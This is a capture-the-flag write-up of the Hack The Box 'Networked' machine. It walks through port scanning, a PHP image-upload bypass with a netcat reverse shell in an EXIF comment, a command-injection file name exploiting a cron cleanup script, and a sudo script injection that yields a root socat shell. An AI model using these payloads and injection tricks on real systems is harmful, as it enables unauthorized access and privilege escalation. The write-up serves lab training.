Nmap
Port 80
Gobuster
backup.tar
Exploitation
Post exploitation
Privilege escalation: apache to guly
Enumeration
Exploitation
Privilege escalation: guly to root
Enumeration
Sudo
changename.sh
Exploitation
Welcome to the Networked writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Networked
tags: HTB
Easy
Linux
OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux
Link: Click here
Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -p- -T4 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-30 17:14 CEST
Nmap scan report for 10.10.10.146
Host is up (0.11s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Nmap done: 1 IP address (1 host up) scanned in 144.57 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -A -Pn -p 22,80,443 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-30 17:17 CEST
Nmap scan report for 10.10.10.146
Host is up (0.096s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.2 - 4.9 (91%), Linux 4.4 (90%), Crestron XPanel control system (89%), Linux 3.16 (89%), Linux 4.10 (89%), Asus RT-AC66U WAP (89%), Linux 3.11 - 3.12 (89%), Linux 3.18 (89%), HP P2000 G3 NAS device (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 95.66 ms 10.10.14.1
2 96.61 ms 10.10.10.146
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
Port 80
Gobuster
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.146/ -x php -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.146/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/05/01 08:39:35 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/lib.php (Status: 200)
/photos.php (Status: 200)
/upload.php (Status: 200)
/uploads (Status: 301)
===============================================================
2021/05/01 08:40:59 Finished
===============================================================
backup.tar
As we can see we have a backup
directory available with a file called backup.tar
inside. We also have a file called upload.php
that allows us to upload images to the uploads
directory and another file called photos.php
that shows us the uploaded images.
Inside backup.tar
we have a copy of the files used by the website so we can analyze how it works to try to exploit it.
If we look at the file upload.php
we can see that it supports the extensions jgp
, png
, gif
and jpeg
.
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
We can also see in the file lib.php
that it is checking the mime type
.
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
Exploitation
We have to write our injection as an exif comment and rename it to contain the extension .php
before .jpeg
.
$ exiftool -Comment='<?php system("nc 10.10.14.9 8787 -e /bin/bash");?>' hatchet.jpeg
$ mv hatchet-shell.jpeg hatchet-shell.php.jpeg
Now with a terminal listening we access photos.php and we receive our shell!.
$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 58332
id
uid=48(apache) gid=48(apache) groups=48(apache)
Post exploitation
Privilege escalation: apache to guly
Enumeration
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
*/3 * * * * php /home/guly/check_attack.php
Exploitation
As we can see, check_attack.php
is executed every 3 minutes looking for any file that does not contain a valid ip as a name inside /var/www/html/uploads/
and if it is found it makes a call to the system command /bin/rm
using exec()
to remove it.
Knowing this, we can create a file with a revershe shell as the name and a ;
so that when executing the exec()
function, the system detects the ;
as the end of the /bin/rm
command and executes a new one. which will be our shell.
So we put a terminal listening and create our file with the reverse shell as the name and wait for the task to run.
bash-4.2$ touch 'shell.txt; socat TCP:10.10.14.9:8788 EXEC:sh'
$ nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 49250
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
And after a few minutes ... we are guly
and we can read your flag!
[guly@networked ~]$ ls
check_attack.php crontab.guly user.txt
[guly@networked ~]$ cat user.txt
CENSORED_FLAG
Privilege escalation: guly to root
Enumeration
Sudo
The user guly
can execute the script /usr/local/sbin/changename.sh
as root
without password.
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
Great, we are going to indicate a test file as parameters to see what it responds to us.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
sh /tmp/test
interface PROXY_METHOD:
sh /tmp/test
interface BROWSER_ONLY:
sh /tmp/test
interface BOOTPROTO:
sh /tmp/test
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: /tmp/test: No such file or directory
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
Exploitation
Perfect, when you run it you want to open the file that we use as parameters. Let's create a script with a reverse shell inside and run it again with a listening terminal!
[guly@networked ~]$ echo -e "socat TCP:10.10.14.9:8789 EXEC:sh" > /tmp/shell; chmod 777 /tmp/shell
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
sh /tmp/shell
interface PROXY_METHOD:
sh /tmp/shell
interface BROWSER_ONLY:
sh /tmp/shell
interface BOOTPROTO:
sh /tmp/shell
And we have root !!
$ nc -lnvp 8789
listening on [any] 8789 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 51542
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
CENSORED_FLAG